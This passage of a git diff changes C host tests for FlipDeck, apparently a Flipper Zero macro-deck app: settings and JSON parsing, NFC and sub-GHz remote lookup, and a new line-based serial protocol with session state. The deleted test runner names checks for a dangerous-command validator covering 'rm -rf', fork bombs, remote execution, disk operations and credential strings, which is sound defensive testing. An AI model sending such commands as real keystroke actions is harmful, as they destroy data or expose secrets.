"99B57D1BEB526798", "FNV-1a hash of protocol string matches known vector"); - - // Same input always produces the same hash - required for fixed-code - // remotes to bind reliably across separate presses. - char first[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - char second[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - profile_manager_hash_subghz_signature("test", first, sizeof(first)); - profile_manager_hash_subghz_signature("test", second, sizeof(second)); - EXPECT_STR_EQ(first, second, "hash is deterministic across repeated calls"); -} - -static void test_subghz_hash_signature_bounds(void) { - char out[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - char too_small[FLIPDECK_SUBGHZ_SIG_HEX_LEN - 1]; - - EXPECT_FALSE(profile_manager_hash_subghz_signature(NULL, out, sizeof(out)), "rejects NULL text"); - EXPECT_FALSE(profile_manager_hash_subghz_signature("x", NULL, sizeof(out)), "rejects NULL out"); - EXPECT_FALSE( - profile_manager_hash_subghz_signature("x", too_small, sizeof(too_small)), - "rejects out buffer smaller than FLIPDECK_SUBGHZ_SIG_HEX_LEN"); -} - -static void test_subghz_find_remote(void) { - FlipDeckSubghzRemote remotes[3]; - memset(remotes, 0, sizeof(remotes)); - strcpy(remotes[0].signature_hex, "F9E6E6EF197C2B25"); - strcpy(remotes[0].category_id, "system"); - strcpy(remotes[0].label, "Lock Screen"); - strcpy(remotes[1].signature_hex, "99B57D1BEB526798"); - strcpy(remotes[1].category_id, "presentation"); - strcpy(remotes[1].label, "Next Slide"); - - const FlipDeckSubghzRemote* found = - profile_manager_find_subghz_remote(remotes, 2, "F9E6E6EF197C2B25"); - EXPECT_TRUE(found != NULL, "finds existing signature"); - EXPECT_STR_EQ(found->category_id, "system", "found remote has correct category_id"); - EXPECT_STR_EQ(found->label, "Lock Screen", "found remote has correct label"); - - EXPECT_TRUE( - profile_manager_find_subghz_remote(remotes, 2, "DEADBEEFDEADBEEF") == NULL, - "unknown signature returns NULL"); - EXPECT_TRUE( - profile_manager_find_subghz_remote(remotes, 2, "99B57D1BEB526798")->category_id[0] == 'p', - "finds second entry"); - EXPECT_TRUE( - profile_manager_find_subghz_remote(NULL, 2, "x") == NULL, "NULL remotes array returns NULL"); - EXPECT_TRUE( - profile_manager_find_subghz_remote(remotes, 2, NULL) == NULL, "NULL signature_hex returns NULL"); -} - -/* ---------- runner ---------- */ - -int main(void) { - printf("=== FlipDeck profile_manager host tests ===\n\n"); - - printf("[dangerous: rm -rf]\n"); - test_dangerous_rm_rf(); - - printf("[warning: sudo]\n"); - test_warning_sudo(); - - printf("[dangerous: remote exec]\n"); - test_dangerous_remote_exec(); - - printf("[dangerous: disk ops]\n"); - test_dangerous_disk_ops(); - - printf("[dangerous: fork bomb]\n"); - test_dangerous_fork_bomb(); - - printf("[dangerous: case insensitivity]\n"); - test_dangerous_case_insensitive(); - - printf("[warning: permissions]\n"); - test_warning_permissions(); - - printf("[credentials: uppercase]\n"); - test_credential_uppercase(); - - printf("[credentials: lowercase]\n"); - test_credential_lowercase(); - - printf("[safe: dev commands]\n"); - test_safe_dev_commands(); - - printf("[safe: edge cases]\n"); - test_safe_empty_string(); - test_safe_null_rejected(); - - printf("[validate_action: key types]\n"); - test_validate_key_actions_always_safe(); - test_validate_key_combo_always_safe(); - - printf("[validate_action: text type]\n"); - test_validate_text_safe(); - test_validate_text_dangerous(); - - printf("[validate_action: null]\n"); - test_validate_null(); - - printf("[favorites: toggle add/remove]\n"); - test_favorites_toggle_add_remove(); - - printf("[favorites: removal shifts tail]\n"); - test_favorites_removal_shifts_tail(); - - printf("[favorites: capacity]\n"); - test_favorites_capacity(); - - printf("[favorites: null args]\n"); - test_favorites_null_args(); - - printf("[nfc: hex encode uid]\n"); - test_nfc_hex_encode_uid(); - - printf("[nfc: hex encode uid bounds]\n"); - test_nfc_hex_encode_uid_bounds(); - - printf("[nfc: find tag]\n"); - test_nfc_find_tag(); - - printf("[subghz: hash signature]\n"); - test_subghz_hash_signature(); - - printf("[subghz: hash signature bounds]\n"); - test_subghz_hash_signature_bounds(); - - printf("[subghz: find remote]\n"); - test_subghz_find_remote(); - - printf("\n===========================================\n"); - printf("Results: %d passed, %d failed\n", g_passes, g_failures); - return g_failures > 0 ? 1 : 0; -} diff --git a/src/tests/host/test_profile_manager_target.c b/src/tests/host/test_profile_manager_target.c deleted file mode 100644 index a7e5c39..0000000 --- a/src/tests/host/test_profile_manager_target.c +++ /dev/null @@ -1,57 +0,0 @@ -/* test_profile_manager_target.c - Host tests for parse_action_target/parse_action_type */ - -#include -#include - -#include "../../profile_manager.h" - -static int g_passes = 0; -static int g_failures = 0; - -#define EXPECT_EQ(a, b, msg) do { \ - int _a = (int)(a); int _b = (int)(b); \ - if (_a == _b) { printf(" PASS: %s\n", (msg)); g_passes++; } \ - else { printf(" FAIL: %s — got %d, want %d (line %d)\n", (msg), _a, _b, __LINE__); g_failures++; } \ -} while(0) - -static void test_parse_action_target_default(void) { - char json[] = "{\"label\": \"Git Status\", \"type\": \"text\", \"value\": \"git status\\n\"}"; - EXPECT_EQ(parse_action_target(json), FlipDeckActionTarget_Usb, "missing target defaults to usb_hid"); -} - -static void test_parse_action_target_usb_hid(void) { - char json[] = "{\"label\": \"Git Status\", \"type\": \"text\", \"value\": \"git status\\n\", \"target\": \"usb_hid\"}"; - EXPECT_EQ(parse_action_target(json), FlipDeckActionTarget_Usb, "explicit usb_hid target"); -} - -static void test_parse_action_target_wifi_uart(void) { - char json[] = "{\"label\": \"Scan WiFi APs\", \"type\": \"text\", \"value\": \"scanap\\n\", \"target\": \"wifi_uart\"}"; - EXPECT_EQ(parse_action_target(json), FlipDeckActionTarget_WifiUart, "wifi_uart target"); -} - -static void test_parse_action_target_unknown(void) { - char json[] = "{\"label\": \"Mystery\", \"type\": \"text\", \"value\": \"x\\n\", \"target\": \"bluetooth\"}"; - EXPECT_EQ(parse_action_target(json), FlipDeckActionTarget_Usb, "unrecognized target falls back to usb_hid"); -} - -static void test_parse_action_type_still_works(void) { - char json[] = "{\"label\": \"Scan WiFi APs\", \"type\": \"text\", \"value\": \"scanap\\n\", \"target\": \"wifi_uart\"}"; - EXPECT_EQ(parse_action_type(json), FlipDeckActionType_Text, "type parsing unaffected by target field"); -} - -int main(void) { - printf("=== FlipDeck profile_manager target host tests ===\n\n"); - - printf("[parse_action_target]\n"); - test_parse_action_target_default(); - test_parse_action_target_usb_hid(); - test_parse_action_target_wifi_uart(); - test_parse_action_target_unknown(); - - printf("[parse_action_type]\n"); - test_parse_action_type_still_works(); - - printf("\n===========================================\n"); - printf("Results: %d passed, %d failed\n", g_passes, g_failures); - return g_failures > 0 ? 1 : 0; -} diff --git a/src/tests/host/test_proto.c b/src/tests/host/test_proto.c new file mode 100644 index 0000000..c0cd859 --- /dev/null +++ b/src/tests/host/test_proto.c @@ -0,0 +1,145 @@ +/* Host tests for fd_proto: CRC, parse/encode, line reassembly, golden vectors + * shared with the Swift implementation (docs/protocol-vectors.txt). */ +#include "test_util.h" + +#include "fd_proto.h" + +#include + +static void test_crc(void) { + CHECK_INT(fd_crc16((const uint8_t*)"123456789", 9), 0x29B1, "CRC-16/CCITT-FALSE check value"); + CHECK_INT(fd_crc16((const uint8_t*)"", 0), 0xFFFF, "CRC of empty input is the init value"); +} + +static void test_round_trip(void) { + const char* fields[] = {"p1", "flipdeck", "main", "c", "0", "0", "3000", "r", "0"}; + char buf[FD_FRAME_MAX + 1]; + size_t len = fd_proto_encode(buf, sizeof(buf), "PRJ", fields, 9); + CHECK(len > 0 && buf[len - 1] == '\n', "encodes with trailing newline"); + + buf[len - 1] = '\0'; + FdFrame frame; + CHECK_INT(fd_proto_parse(buf, len - 1, &frame), FdParseOk, "parses what it encoded"); + CHECK_STR(frame.type, "PRJ", "type"); + CHECK_INT(frame.count, 9, "field count"); + CHECK_STR(fd_frame_field(&frame, 1), "flipdeck", "field 1"); + CHECK_STR(fd_frame_field(&frame, 8), "0", "last field"); + CHECK_STR(fd_frame_field(&frame, 20), "", "missing field reads as empty"); +} + +static void test_empty_fields_and_sanitizing(void) { + const char* fields[] = {"a|b*c", "", NULL}; + char buf[FD_FRAME_MAX + 1]; + size_t len = fd_proto_encode(buf, sizeof(buf), "ACT", fields, 3); + buf[len - 1] = '\0'; + FdFrame frame; + CHECK_INT(fd_proto_parse(buf, len - 1, &frame), FdParseOk, "parses frame with empty fields"); + CHECK_INT(frame.count, 3, "keeps empty fields"); + CHECK_STR(fd_frame_field(&frame, 0), "a/b+c", "separators sanitized on encode"); +} + +static void test_encode_limits(void) { + char big[300]; + memset(big, 'x', sizeof(big) - 1); + big[sizeof(big) - 1] = '\0'; + const char* fields[] = {big}; + char buf[FD_FRAME_MAX + 1]; + CHECK_INT(fd_proto_encode(buf, sizeof(buf), "EVT", fields, 1), 0, "refuses frames over the limit"); + char tiny[8]; + const char* small[] = {"1"}; + CHECK_INT(fd_proto_encode(tiny, sizeof(tiny), "PONG", small, 1), 0, "refuses when the buffer is too small"); +} + +static void test_line_reader(void) { + FdLineReader reader; + fd_line_reset(&reader); + const char* stream = "AB\r\n\nCD\n"; + int ready = 0; + char lines[2][8] = {{0}}; + for(const char* p = stream; *p; p++) { + if(fd_line_feed(&reader, (uint8_t)*p) == FdLineReady) { + strcpy(lines[ready++], reader.buf); + fd_line_consumed(&reader); + } + } + CHECK_INT(ready, 2, "two lines, blank line skipped"); + CHECK_STR(lines[0], "AB\r", "line keeps \\r for the parser to drop"); + CHECK_STR(lines[1], "CD", "second line"); + + // Overlong line: overflow reported once, then resync at the next newline. + fd_line_reset(&reader); + int overflows = 0; + for(int i = 0; i < 400; i++) { + if(fd_line_feed(&reader, 'x') == FdLineOverflow) overflows++; + } + CHECK_INT(overflows, 1, "overflow reported once"); + CHECK_INT(fd_line_feed(&reader, '\n'), FdLineNone, "discarded line produces nothing"); + fd_line_feed(&reader, 'O'); + fd_line_feed(&reader, 'K'); + CHECK_INT(fd_line_feed(&reader, '\n'), FdLineReady, "resynchronized"); + CHECK_STR(reader.buf, "OK", "next line intact"); +} + +static void test_parse_u32(void) { + CHECK_INT(fd_parse_u32("3000", 0), 3000, "decimal"); + CHECK_INT(fd_parse_u32("-", 7), 7, "dash is fallback"); + CHECK_INT(fd_parse_u32("", 7), 7, "empty is fallback"); + CHECK_INT(fd_parse_u32("12a", 7), 7, "junk is fallback"); + CHECK_INT(fd_parse_u32("99999999999", 7), 7, "overflow is fallback"); +} + +static void test_golden_vectors(const char* path) { + FILE* file = fopen(path, "r"); + CHECK(file != NULL, "golden vector file opens"); + if(!file) return; + char line[512]; + int checked = 0; + while(fgets(line, sizeof(line), file)) { + size_t len = strlen(line); + if(len && line[len - 1] == '\n') line[--len] = '\0'; + if(len == 0 || line[0] == '#') continue; + + if(strncmp(line, "OK ", 3) == 0) { + char original[512]; + strcpy(original, line + 3); + char work[512]; + strcpy(work, original); + FdFrame frame; + FdParseResult result = fd_proto_parse(work, strlen(work), &frame); + if(result != FdParseOk) printf(" vector: %s -> %s\n", original, fd_parse_result_name(result)); + CHECK_INT(result, FdParseOk, "golden OK vector parses"); + if(result == FdParseOk) { + char encoded[FD_FRAME_MAX + 1]; + size_t n = fd_proto_encode(encoded, sizeof(encoded), frame.type, frame.fields, frame.count); + CHECK(n > 0 && strncmp(encoded, original, n - 1) == 0 && strlen(original) == n - 1, "golden OK vector re-encodes byte-exact"); + } + } else if(strncmp(line, "BAD ", 4) == 0) { + char* reason = line + 4; + char* space = strchr(reason, ' '); + char* frame_text = space ? space + 1 : reason + strlen(reason); + if(space) *space = '\0'; + char work[512]; + strcpy(work, frame_text); + FdFrame frame; + FdParseResult result = fd_proto_parse(work, strlen(work), &frame); + if(strcmp(fd_parse_result_name(result), reason) != 0) { + printf(" vector: %s -> %s (expected %s)\n", frame_text, fd_parse_result_name(result), reason); + } + CHECK_STR(fd_parse_result_name(result), reason, "golden BAD vector rejected for the right reason"); + } + checked++; + } + fclose(file); + CHECK(checked > 20, "read the golden vectors"); +} + +int main(int argc, char** argv) { + test_crc(); + test_round_trip(); + test_empty_fields_and_sanitizing(); + test_encode_limits(); + test_line_reader(); + test_parse_u32(); + test_golden_vectors(argc > 1 ? argv[1] : "../../../docs/protocol-vectors.txt"); + return test_summary("fd_proto"); +} diff --git a/src/tests/host/test_settings.c b/src/tests/host/test_settings.c deleted file mode 100644 index 2339bbf..0000000 --- a/src/tests/host/test_settings.c +++ /dev/null @@ -1,264 +0,0 @@ -/* test_settings.c - Host tests for settings defaults and JSON parsing. - * - * Includes profile_manager.c and settings.c directly so the static JSON - * helpers (find_json_bool / find_json_string) can be exercised alongside the - * public settings API. Filesystem-facing functions are stubbed no-ops, so the - * load path here covers the "no settings file" defaults branch. - */ - -#include -#include - -#include "../../profile_manager.c" -#include "../../settings.c" - -static int g_passes = 0; -static int g_failures = 0; - -#define EXPECT_TRUE(expr, msg) do { \ - if (expr) { printf(" PASS: %s\n", (msg)); g_passes++; } \ - else { printf(" FAIL: %s (line %d)\n", (msg), __LINE__); g_failures++; } \ -} while(0) - -#define EXPECT_FALSE(expr, msg) EXPECT_TRUE(!(expr), (msg)) -#define EXPECT_EQ_INT(a, b, msg) EXPECT_TRUE((a) == (b), (msg)) -#define EXPECT_STR_EQ(a, b, msg) EXPECT_TRUE(strcmp((a), (b)) == 0, (msg)) - -/* ---------- find_json_bool ---------- */ - -static void test_find_json_bool(void) { - char json[] = "{ \"confirm_before_send\": true, \"show_icons\": false }"; - EXPECT_TRUE(find_json_bool(json, "confirm_before_send", false), "reads true value"); - EXPECT_FALSE(find_json_bool(json, "show_icons", true), "reads false value"); - EXPECT_TRUE(find_json_bool(json, "missing_key", true), "missing key returns default true"); - EXPECT_FALSE(find_json_bool(json, "missing_key", false), "missing key returns default false"); -} - -/* ---------- find_json_string ---------- */ - -static void test_find_json_string(void) { - char json[] = "{ \"startup_category\": \"dev\", \"name\": \"Git\" }"; - char out[32]; - - memset(out, 0, sizeof(out)); - EXPECT_TRUE(find_json_string(json, "startup_category", out, sizeof(out)) != NULL, - "returns non-NULL for present key"); - EXPECT_STR_EQ(out, "dev", "extracts startup_category value"); - - memset(out, 0, sizeof(out)); - find_json_string(json, "name", out, sizeof(out)); - EXPECT_STR_EQ(out, "Git", "extracts name value"); - - memset(out, 0, sizeof(out)); - EXPECT_TRUE(find_json_string(json, "absent", out, sizeof(out)) == NULL, - "returns NULL for missing key"); -} - -/* ---------- find_json_uint ---------- */ - -static void test_find_json_uint(void) { - char json[] = "{ \"delay_ms\": 250, \"zero\": 0, \"spaced\": 42 }"; - EXPECT_EQ_INT(find_json_uint(json, "delay_ms", 99u), 250u, "reads numeric value"); - EXPECT_EQ_INT(find_json_uint(json, "zero", 99u), 0u, "reads explicit zero"); - EXPECT_EQ_INT(find_json_uint(json, "spaced", 99u), 42u, "skips whitespace before digits"); - EXPECT_EQ_INT(find_json_uint(json, "missing", 7u), 7u, "missing key returns default"); - - char nan[] = "{ \"delay_ms\": \"oops\" }"; - EXPECT_EQ_INT(find_json_uint(nan, "delay_ms", 5u), 5u, "non-numeric value returns default"); -} - -/* ---------- load_settings: no file → defaults ---------- */ - -static void test_load_settings_defaults(void) { - FlipDeckSettings settings; - memset(&settings, 0xAA, sizeof(settings)); /* poison to prove every field is set */ - - /* Stub storage has no settings file, so load returns false and fills defaults. */ - bool loaded = profile_manager_load_settings(&settings); - EXPECT_FALSE(loaded, "load returns false when no settings file present"); - EXPECT_EQ_INT(settings.send_delay_ms, 100u, "default send_delay_ms is 100"); - EXPECT_TRUE(settings.confirm_before_send, "default confirm_before_send is true"); - EXPECT_TRUE(settings.auto_detect_usb, "default auto_detect_usb is true"); - EXPECT_TRUE(settings.show_icons, "default show_icons is true"); - EXPECT_TRUE(settings.show_descriptions, "default show_descriptions is true"); - EXPECT_STR_EQ(settings.startup_category, "", "default startup_category is empty"); - EXPECT_EQ_INT(settings.long_snippet_warn_state, 0u, "default long_snippet_warn_state is 0"); -} - -/* ---------- settings_reset_to_defaults ---------- */ - -static void test_reset_to_defaults(void) { - FlipDeckSettings settings; - memset(&settings, 0xAA, sizeof(settings)); - - settings_reset_to_defaults(&settings); - EXPECT_EQ_INT(settings.send_delay_ms, 100u, "reset send_delay_ms to 100"); - EXPECT_TRUE(settings.confirm_before_send, "reset confirm_before_send to true"); - EXPECT_TRUE(settings.auto_detect_usb, "reset auto_detect_usb to true"); - EXPECT_TRUE(settings.show_icons, "reset show_icons to true"); - EXPECT_TRUE(settings.show_descriptions, "reset show_descriptions to true"); - EXPECT_STR_EQ(settings.startup_category, "", "reset startup_category to empty"); - EXPECT_EQ_INT(settings.long_snippet_warn_state, 0u, "reset long_snippet_warn_state to 0"); -} - -/* ---------- favorites parsing ---------- */ - -static void test_load_settings_parses_favorites(void) { - /* parse_favorites() is exercised directly against a hand-built JSON - * buffer, since the stub read_text_file() always reports "no file". */ - char json[] = - "{\n" - " \"confirm_before_send\": true,\n" - " \"favorites\": [\n" - " {\"category_id\": \"git\", \"label\": \"Git Status\"},\n" - " {\"category_id\": \"node\", \"label\": \"Run Dev\"}\n" - " ]\n" - "}\n"; - - FlipDeckSettings settings; - memset(&settings, 0xAA, sizeof(settings)); - parse_favorites(json, &settings); - - EXPECT_EQ_INT(settings.favorite_count, 2u, "parses two favorites"); - EXPECT_STR_EQ(settings.favorites[0].category_id, "git", "first favorite category_id"); - EXPECT_STR_EQ(settings.favorites[0].label, "Git Status", "first favorite label"); - EXPECT_STR_EQ(settings.favorites[1].category_id, "node", "second favorite category_id"); - EXPECT_STR_EQ(settings.favorites[1].label, "Run Dev", "second favorite label"); -} - -static void test_load_settings_no_favorites_key(void) { - char json[] = "{ \"confirm_before_send\": true }"; - FlipDeckSettings settings; - memset(&settings, 0xAA, sizeof(settings)); - parse_favorites(json, &settings); - EXPECT_EQ_INT(settings.favorite_count, 0u, "no favorites key means zero favorites"); -} - -/* ---------- nfc tags parsing ---------- */ - -static void test_parse_nfc_tags(void) { - char json[] = - "{\n" - " \"tags\": [\n" - " {\"uid\": \"04A1B2C3\", \"category_id\": \"git\", \"label\": \"Git Status\"},\n" - " {\"uid\": \"00FF1020\", \"category_id\": \"node\", \"label\": \"Run Dev\"}\n" - " ]\n" - "}\n"; - - FlipDeckNfcTag tags[FLIPDECK_MAX_NFC_TAGS]; - uint32_t count = 0xAAAAAAAA; - memset(tags, 0xAA, sizeof(tags)); - - parse_nfc_tags(json, tags, &count); - - EXPECT_EQ_INT(count, 2u, "parses two nfc tags"); - EXPECT_STR_EQ(tags[0].uid_hex, "04A1B2C3", "first tag uid"); - EXPECT_STR_EQ(tags[0].category_id, "git", "first tag category_id"); - EXPECT_STR_EQ(tags[0].label, "Git Status", "first tag label"); - EXPECT_STR_EQ(tags[1].uid_hex, "00FF1020", "second tag uid"); - EXPECT_STR_EQ(tags[1].category_id, "node", "second tag category_id"); - EXPECT_STR_EQ(tags[1].label, "Run Dev", "second tag label"); -} - -static void test_parse_nfc_tags_no_key(void) { - char json[] = "{ \"other\": 1 }"; - FlipDeckNfcTag tags[FLIPDECK_MAX_NFC_TAGS]; - uint32_t count = 0xAAAAAAAA; - parse_nfc_tags(json, tags, &count); - EXPECT_EQ_INT(count, 0u, "no tags key means zero tags"); -} - -static void test_parse_nfc_tags_skips_incomplete_entry(void) { - /* An entry missing a required field (no label) should be skipped rather - * than counted with a garbage/empty field. */ - char json[] = - "{ \"tags\": [ {\"uid\": \"04A1B2C3\", \"category_id\": \"git\"} ] }"; - FlipDeckNfcTag tags[FLIPDECK_MAX_NFC_TAGS]; - memset(tags, 0xAA, sizeof(tags)); /* poison, to prove parse_nfc_tags clears stale data itself */ - uint32_t count = 0xAAAAAAAA; - parse_nfc_tags(json, tags, &count); - EXPECT_EQ_INT(count, 0u, "entry missing label is skipped"); -} - -/* ---------- subghz remotes parsing ---------- */ - -static void test_parse_subghz_remotes(void) { - char json[] = - "{\n" - " \"remotes\": [\n" - " {\"signature\": \"F9E6E6EF197C2B25\", \"category_id\": \"system\", \"label\": \"Lock Screen\"},\n" - " {\"signature\": \"99B57D1BEB526798\", \"category_id\": \"presentation\", \"label\": \"Next Slide\"}\n" - " ]\n" - "}\n"; - - FlipDeckSubghzRemote remotes[FLIPDECK_MAX_SUBGHZ_REMOTES]; - uint32_t count = 0xAAAAAAAA; - memset(remotes, 0xAA, sizeof(remotes)); - - parse_subghz_remotes(json, remotes, &count); - - EXPECT_EQ_INT(count, 2u, "parses two subghz remotes"); - EXPECT_STR_EQ(remotes[0].signature_hex, "F9E6E6EF197C2B25", "first remote signature"); - EXPECT_STR_EQ(remotes[0].category_id, "system", "first remote category_id"); - EXPECT_STR_EQ(remotes[0].label, "Lock Screen", "first remote label"); - EXPECT_STR_EQ(remotes[1].signature_hex, "99B57D1BEB526798", "second remote signature"); - EXPECT_STR_EQ(remotes[1].category_id, "presentation", "second remote category_id"); - EXPECT_STR_EQ(remotes[1].label, "Next Slide", "second remote label"); -} - -static void test_parse_subghz_remotes_no_key(void) { - char json[] = "{ \"other\": 1 }"; - FlipDeckSubghzRemote remotes[FLIPDECK_MAX_SUBGHZ_REMOTES]; - uint32_t count = 0xAAAAAAAA; - parse_subghz_remotes(json, remotes, &count); - EXPECT_EQ_INT(count, 0u, "no remotes key means zero remotes"); -} - -static void test_parse_subghz_remotes_skips_incomplete_entry(void) { - char json[] = - "{ \"remotes\": [ {\"signature\": \"F9E6E6EF197C2B25\", \"category_id\": \"system\"} ] }"; - FlipDeckSubghzRemote remotes[FLIPDECK_MAX_SUBGHZ_REMOTES]; - memset(remotes, 0xAA, sizeof(remotes)); /* poison, to prove parse_subghz_remotes clears stale data itself */ - uint32_t count = 0xAAAAAAAA; - parse_subghz_remotes(json, remotes, &count); - EXPECT_EQ_INT(count, 0u, "entry missing label is skipped"); -} - -/* ---------- runner ---------- */ - -int main(void) { - printf("=== FlipDeck settings host tests ===\n\n"); - - printf("[find_json_bool]\n"); - test_find_json_bool(); - - printf("[find_json_string]\n"); - test_find_json_string(); - - printf("[find_json_uint]\n"); - test_find_json_uint(); - - printf("[load_settings defaults]\n"); - test_load_settings_defaults(); - - printf("[reset_to_defaults]\n"); - test_reset_to_defaults(); - - printf("[favorites parsing]\n"); - test_load_settings_parses_favorites(); - test_load_settings_no_favorites_key(); - - printf("[nfc tags parsing]\n"); - test_parse_nfc_tags(); - test_parse_nfc_tags_no_key(); - test_parse_nfc_tags_skips_incomplete_entry(); - - printf("[subghz remotes parsing]\n"); - test_parse_subghz_remotes(); - test_parse_subghz_remotes_no_key(); - test_parse_subghz_remotes_skips_incomplete_entry(); - - printf("\n===========================================\n"); - printf("Results: %d passed, %d failed\n", g_passes, g_failures); - return g_failures > 0 ? 1 : 0; -} diff --git a/src/tests/host/test_state.c b/src/tests/host/test_state.c new file mode 100644 index 0000000..8c54d1f --- /dev/null +++ b/src/tests/host/test_state.c @@ -0,0 +1,282 @@ +/* Host tests for fd_state: the Flipper side of the FDP/1 session rules. */ +#include "test_util.h" + +#include "fd_state.h" + +#include + +static FdState* g_state; +static FdLineReader g_reader; +static FdOutbox g_out; + +static void reset(void) { + if(!g_state) g_state = malloc(sizeof(FdState)); + fd_state_init(g_state, 0xC0FFEEu); + fd_line_reset(&g_reader); + g_out.len = 0; + g_out.data[0] = '\0'; +} + +/* Encodes a frame from a type + '|'-separated field list and feeds it in. */ +static uint32_t feed(const char* type, const char* fields_text, uint32_t now) { + char copy[256]; + const char* fields[FD_MAX_FIELDS]; + size_t count = 0; + if(fields_text) { + strcpy(copy, fields_text); + char* cursor = copy; + fields[count++] = cursor; + for(char* p = copy; *p; p++) { + if(*p == '|') { + *p = '\0'; + fields[count++] = p + 1; + } + } + } + char frame[FD_FRAME_MAX + 1]; + size_t len = fd_proto_encode(frame, sizeof(frame), type, fields, count); + return fd_state_receive(g_state, &g_reader, (const uint8_t*)frame, len, now, &g_out); +} + +static bool sent(const char* prefix) { + return strstr(g_out.data, prefix) != NULL; +} + +static void clear_out(void) { + g_out.len = 0; + g_out.data[0] = '\0'; +} + +static void handshake(void) { + fd_state_link_up(g_state, 0); + feed("HELLO", "1|0a1b2c3d|Studio|182|1790000000", 0); +} + +static void snapshot(uint32_t gen) { + char text[32]; + snprintf(text, sizeof(text), "%u|5", gen); + feed("SNAP", text, 10); + feed("SUM", "1|4|1|0", 10); + feed("PRJ", "p1|flipdeck|main|c|0|0|3000|r|1", 10); + feed("SVC", "s1|Vite|5173|flipdeck|1789997720", 10); + feed("ACT", "p1|a1|OPEN||", 10); + feed("ACT", "s1|a2|STOP|dc|", 10); + snprintf(text, sizeof(text), "%u", gen); + feed("END", text, 10); +} + +static void test_handshake(void) { + reset(); + CHECK_INT(g_state->link, FdLinkOffline, "starts offline"); + fd_state_link_up(g_state, 0); + CHECK_INT(g_state->link, FdLinkConnecting, "link up waits for HELLO"); + feed("PING", "1|2", 0); + CHECK_INT(g_out.len, 0, "nothing before HELLO"); + + feed("HELLO", "1|0a1b2c3d|Studio|182|1790000000", 100); + CHECK_INT(g_state->link, FdLinkReady, "ready after HELLO"); + CHECK_STR(g_state->mac_host, "Studio", "host recorded"); + CHECK_INT(g_state->mtu, 182, "mtu from HELLO"); + CHECK(sent("HI|1|0.1.0|0|00c0ffee*"), "replies HI with proto, version, gen, nonce"); + CHECK_INT(fd_state_mac_now(g_state, 5100), 1790000005, "estimates Mac time from local ticks"); +} + +static void test_incompatible(void) { + reset(); + fd_state_link_up(g_state, 0); + feed("HELLO", "2|x|Studio|182|1", 0); + CHECK_INT(g_state->link, FdLinkIncompatible, "different protocol is incompatible"); + CHECK(sent("HI|1|"), "still answers with its own version"); + clear_out(); + snapshot(1); + CHECK(!g_state->has_data, "ignores snapshots while incompatible"); +} + +static void test_snapshot_commit(void) { + reset(); + handshake(); + snapshot(7); + CHECK(g_state->has_data, "snapshot committed"); + CHECK_INT(g_state->committed_gen, 7, "generation recorded"); + CHECK_INT(g_state->committed.project_count, 1, "one project"); + const FdProject* p = &g_state->committed.projects[0]; + CHECK_STR(p->name, "flipdeck", "project name"); + CHECK_INT(p->git, 'c', "git clean"); + CHECK_INT(p->port, 3000, "dev port"); + CHECK_INT(p->deploy, 'r', "deploy ready"); + CHECK(p->attention, "attention flag"); + CHECK_INT(g_state->committed.summary.attention, 1, "summary"); + const FdAction* actions[4]; + CHECK_INT(fd_state_actions_for(g_state, "s1", actions, 4), 1, "service action found by owner"); + CHECK(actions[0]->destructive && actions[0]->confirm, "flags parsed"); + CHECK_STR(fd_action_label(actions[0]), "Stop server", "built-in label for STOP"); +} + +static void test_bad_snapshot_keeps_previous_and_requests_sync(void) { + reset(); + handshake(); + snapshot(1); + clear_out(); + + // Count mismatch: SNAP says 3 records, only 1 arrives. + feed("SNAP", "2|3", 20); + feed("PRJ", "p9|other|main|d|0|0|0|-|0", 20); + feed("END", "2", 20); + CHECK_INT(g_state->committed_gen, 1, "incomplete snapshot not committed"); + CHECK_STR(g_state->committed.projects[0].name, "flipdeck", "previous data kept"); + CHECK(sent("SYNC|1*"), "asks for a resync"); + + // Generation mismatch. + clear_out(); + feed("SNAP", "3|0", 30); + feed("END", "4", 30); + CHECK_INT(g_state->committed_gen, 1, "mismatched END not committed"); + CHECK(sent("SYNC|1*"), "resync after generation mismatch"); + + // A corrupt frame mid-snapshot aborts it. + clear_out(); + feed("SNAP", "5|1", 40); + const char* corrupt = "PRJ|p1|x|main|c|0|0|0|-|0*0000\n"; + fd_state_receive(g_state, &g_reader, (const uint8_t*)corrupt, strlen(corrupt), 40, &g_out); + feed("END", "5", 40); + CHECK_INT(g_state->committed_gen, 1, "snapshot with a corrupt record not committed"); + CHECK_INT(g_state->frames_bad, 1, "corrupt frame counted"); + CHECK(sent("SYNC|1*"), "resync after corruption"); + + // Records outside a snapshot are ignored. + feed("PRJ", "p8|stray|main|c|0|0|0|-|0", 50); + CHECK_INT(g_state->committed.project_count, 1, "stray record ignored"); +} + +static void test_chunked_delivery(void) { + reset(); + fd_state_link_up(g_state, 0); + const char* hello_fields[] = {"1", "0a1b2c3d", "Studio", "20", "1"}; + const char* snap_fields[] = {"1", "1"}; + const char* sum_fields[] = {"0", "0", "0", "0"}; + const char* end_fields[] = {"1"}; + char stream[1024]; + size_t len = 0; + len += fd_proto_encode(stream + len, sizeof(stream) - len, "HELLO", hello_fields, 5); + len += fd_proto_encode(stream + len, sizeof(stream) - len, "SNAP", snap_fields, 2); + len += fd_proto_encode(stream + len, sizeof(stream) - len, "SUM", sum_fields, 4); + len += fd_proto_encode(stream + len, sizeof(stream) - len, "END", end_fields, 1); + for(size_t i = 0; i < len; i += 3) { + size_t n = len - i < 3 ? len - i : 3; + fd_state_receive(g_state, &g_reader, (const uint8_t*)stream + i, n, 0, &g_out); + } + CHECK(g_state->has_data, "3-byte chunks reassemble into a committed snapshot"); + CHECK_INT(g_state->mtu, 20, "mtu clamped to at least 20"); +} + +static void test_ping_pong_and_staleness(void) { + reset(); + handshake(); + snapshot(3); + clear_out(); + feed("PING", "3|1790000100", 1000); + CHECK(sent("PONG|3*"), "PONG reports committed generation"); + CHECK(!fd_state_is_stale(g_state, 1000 + FD_STALE_AFTER_MS), "not stale at the limit"); + CHECK(fd_state_is_stale(g_state, 1001 + FD_STALE_AFTER_MS), "stale after 15s of silence"); + CHECK_INT(fd_state_silence_s(g_state, 21000), 20, "silence in seconds"); + CHECK_INT(fd_state_mac_now(g_state, 3000), 1790000102, "Mac time updated by PING"); +} + +static void test_alerts_dedupe(void) { + reset(); + handshake(); + uint32_t change = feed("ALR", "t1|e|flipdeck|Production deploy failed|Type error", 5); + CHECK(change & FdChangeAlert, "alert triggers vibration"); + CHECK(g_state->alert_visible, "alert visible"); + CHECK_STR(g_state->alert.message, "Type error", "alert message"); + change = 